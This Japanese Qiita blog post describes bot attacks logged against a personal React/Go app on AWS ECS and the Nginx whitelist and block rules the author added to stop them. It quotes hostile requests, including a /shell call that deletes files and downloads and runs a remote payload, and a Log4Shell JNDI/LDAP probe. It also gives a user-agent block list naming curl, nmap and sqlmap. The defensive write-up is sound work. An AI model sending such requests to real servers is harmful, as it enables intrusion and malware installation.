5
6

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

AWS ECS + ALB + Reactで構築したWebアプリに届いた不正アクセスとその対策まとめ

Posted at

AWS ECS + ALB + Reactで構築したWebアプリに届いた不正アクセスとその対策まとめ

こんにちは!
3年目エンジニアのdhulriposです!
今回は、はじめて一人でフロントエンド、バックエンド、インフラ(AWS)で作ってみたWebアプリを公開したところ変なログが来ていたので、それらから得た学びをまとめてみたいと思います。
お目汚しになってしまったら申し訳ございません。
記事内容に不備、ご指摘がございましたら、お手数ですが、コメントにてご教示いただければと思います。

この記事を読んで得られること

  • ECS環境でSPAを安全に公開する際の注意点
  • Nginxのセキュリティ対策例

はじめに

個人開発したWebアプリケーションをAWS ECS+ALB環境で公開した直後から、botと思われる不審なアクセスが観測されました。
本記事では、実際に記録されたログ、アクセスの目的とリスク、私が行った対処について記載します。

構成

  • AWS ECS Fargate(React + Go Echo アプリ)
  • ALB(パスベースルーティング:/api/*→Go API(ターゲットグループ優先度:1番)、それ以外→React(ターゲットグループ優先度:2番))
  • Valkey(キャッシュサーバー)+ RDS(PostgreSQL)
  • Nginxをフロントに配置(React配信+セキュリティ対策)
  • バックエンドはJWTでAPI認証を実装(バックエンドは、特に不正なログはなかった)

観測された不正アクセスとその分析

1. Webシェル呼び出し

GET /shell?cd+/tmp;rm+-rf+*;wget+scamanje.stresserit.pro/jaws;sh+/tmp/jaws
  • 意味:Webサーバーに存在する脆弱な/shellエンドポイントを狙ってマルウェアをダウンロード・実行しようとしていると思われる
  • 意図:DDosやマイニングマルウェアの感染
  • 対策:Nginxで/shellを含む不正なパスを403でブロック

2. Log4j/JNDI攻撃

GET /ecf-contact?cx=${jndi:ldap://35.193.186.77:80/...}
  • 意味:Log4Shell(Log4jの脆弱性)を悪用し、任意のコード実行を狙う攻撃
  • 意図:リモートコード実行
  • 対策:
    • Log4jを使用していないため影響なし
    • “jndi:”や”ldap://”を含むURLをブロック

3. Spring Bootアクチュエーターへのアクセス

GET /api/actuator/mappings
GET /actuator/env
  • 意味:Spring Bootの管理機能(actuator)の存在確認
  • 意図:内部情報や環境変数の漏洩
  • 対策:
    • Nginxで/actuatorを403ブロック
    • そもそもGo/Echoで作成しており、Spring Bootは使用していない

4. Nmapによるポートスキャン

GET /HNAP1
User-Agent: Nmap Scripting Engine
  • 意味:脆弱性スキャンを自動で実行するポートスキャナ
  • 意図:既知の脆弱エンドポイントを網羅的に調査
  • 対策:
    • User-Agentに”nmap”を含むリクエストを403
    • 特定のパス(/HNAP1など)もブロック

5. クローラーによる情報収集

GET /login
User-Agent: GenomeCrawlerd (Nokia)
  • 意味:クローラーによる自動巡回
  • 意図:セキュリティ評価または情報収集
  • 対策:明確な害はないため、特になし

6. 意図不明の不正アクセス

"GET / HTTP/1.1" 403 153 "-" "-"
"PRI * HTTP/2.0" 400 157 "-" "-"
"" 400 0 "-" "-"
  • 意味:形式不正なリクエスト、スキャン時の誤操作、HTTP/2の仕様確認など?
  • 意図:誤検知、スキャナのバグまたはWAF回避?
  • Nginxで形式不正なリクエストログを記録して、必要に応じて制限

アクセスパターンに対応するために行った設定

Nginxのセキュリティ設定(一部抜粋)

nginx.conf
# 攻撃に使われやすいパスをブロック
location ~* \.(php|asp|cgi|pl|py)$ { return 403; }
location ~* ^/(wp-admin|shell|core|vendor|env) { return 403; }

# クエリに "token=" 含むものをブロック
if ($query_string ~* "token=") { return 403; }

# 危険なUser-Agentをブロック
if ($http_user_agent ~* (masscan|nmap|sqlmap|curl|python-requests)) { return 403; }

# ======== 以下、React Routerで使っているパスだけ許可(ホワイトリスト方式) ========
location = /login { try_files /index.html =403; }
location = /welcome { try_files /index.html =403; }

# ======== その他のパスはすべてブロック ========
  location / {
    return 403;
  }

補足:SPA(Single Page Application)が存在しないルーティングを狙われるのか

理由1:SPAは全てのルーティングをクライアント側で処理するため

  • SPAではURLのルーティング(/login,/mypageなど)はサーバーではなく、クライアント(ReactなどのJavaScript)で処理される
  • そのため、サーバー側でどんなパスでも基本的にはindex.htmlを返すように設定されている(クライアントが処理する前提)
  • これはReactで言えば、react-router-domによるルーティング

つまり、「/admin」というパスにアクセスされた場合でも、NginxなどのWebサーバーは/admin.htmlを探すのではなく、index.htmlを返すように設定されている。

なぜ存在しないパスを通してしまうのか?

例えば、Nginxの設定で以下のようにしていた場合:

nginx.conf
location / {
  try_files $uri /index.html;
}

この設定の意味は以下のとおりです:

  1. $uri(リクエストされたファイルパス)が存在するならそれを返す
  2. 存在しないなら、index.htmlを返す

つまり、/adminや/wp-login.phpのようなパスがリクエストされても、

  • そのファイルが存在しない→/index.htmlを返す
  • 結果として、通ってしまう

対策:ホワイトリストで守る理由

try_files /index.htm =403; で、許可されたパス以外は403にすることで、

  • 攻撃者が想定外のパスで探りを入れてきても、「403 Forbidden」で即ブロックできる
  • サーバーに無駄な負荷もかからないし、ログにも残せる(監視しやすくなる)

攻撃の頻度とコスト影響

  • 頻度:アプリ公開直後から継続的にアクセス(1時間に十数件〜百件程度)
  • コスト:ECS Fargateでは、受信したリクエスト量では課金されないが、アプリ側で処理するとCPU/RAM消費が発生し、Fargate料金に影響する
  • 軽減策:不正なアクセスをNginxで早期遮断

今後の対策案

  • AWS WAF導入によるBot・攻撃IPの自動ブロック
  • CloudFront導入によるCDN+Shield利用
  • CloudWatch Logs + Metric Filter + Alarmによる異常アクセスのアラート通知

まとめ

インターネットに公開した瞬間から、アプリケーションはさまざまなスキャンや攻撃の対象になります。
たとえ脆弱性が存在しなくても、ログに目を通し、早めの対策を講じることが重要です。
自分で構築したWebアプリの保護を通して、セキュリティの重要性と仕組みを実体験することができました。

5
6
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
6

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?